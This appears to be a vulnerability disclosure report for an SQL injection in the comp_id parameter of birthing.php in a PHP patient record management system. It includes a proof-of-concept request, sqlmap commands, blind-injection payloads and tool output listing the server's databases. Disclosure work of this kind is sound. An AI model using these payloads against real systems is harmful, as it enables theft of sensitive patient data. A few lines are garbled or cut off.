CVE / hcpms_birthing.php_sqli.pdf

zhxu147 Add files via upload c2ac843 · 2 weeks ago

574 KB

PATIENT_RECORD_MANAGEMENT_SYSTEM_IN_PHP has sql injection indental _birthing.php

supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google_vignette

Vulnerability parameter

/birthing.php

describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in birthing.php, The parameters that can be controlled are as follows: $comp_id. This function executesthe comp_id parameter into the SQL statement without any restrictions. A malicious attacker couldexploit this vulnerability to obtain sensitive information in the server database

Code analysis

When the value of $comp_id parameter is obtained in dental _birthing.php , it will be concatenated intoSQL statements and executed, which has a SQL injection vulnerability.

POC

GET /birthing.php?comp_id=1* HTTP/1.1
Content-Type: application/json
Host: hcpms

Result

python3 .\sqlmap.py –u http://hcpms/birthing.php?comp_id=1 –p comp_id –dbms=Mysql --banner

got a 302 redirect to 'http://hcpms/index.php'. Do you want to follow? [Y/n] n

```
sqlmap identified the following injection point(s) with a total of 428 HTTP(s) requests:
---
Parameter: comp_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: comp_id=1' RLIKE (SELECT (CASE WHEN (8816=8816) THEN 1 ELSE 0x28 END))-- YriF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: comp_id=1' AND (SELECT 8072 FROM (SELECT(SLEEP(5)))npZD)-- bMdc
---
[17:35:47] [INFO] the back-end DBMS is MySQL
[17:35:47] [INFO] fetching banner
[17:35:47] [WARNING] running in a single-thread mode. Please consider usage of option '--th
val
[17:35:47] [INFO] retrieved: 5.7.26
web application technology: Apache 2.4.39, PHP, PHP 5.6.9
back-end DBMS: MySQL >= 5.0.12
banner: '5.7.26'
```

python3 .\sqlmap.py –u http://hcpms/birthing.php?comp_id=1 –p comp_id –dbms=Mysql --dbs

```
available databases [9]:
[*] gxlcms
[*] hcpms
[*] i
[*] mces
[*] mutillidae
[*] mysql
[*] performance_schema
[*] qdbcrm
[*] sys
```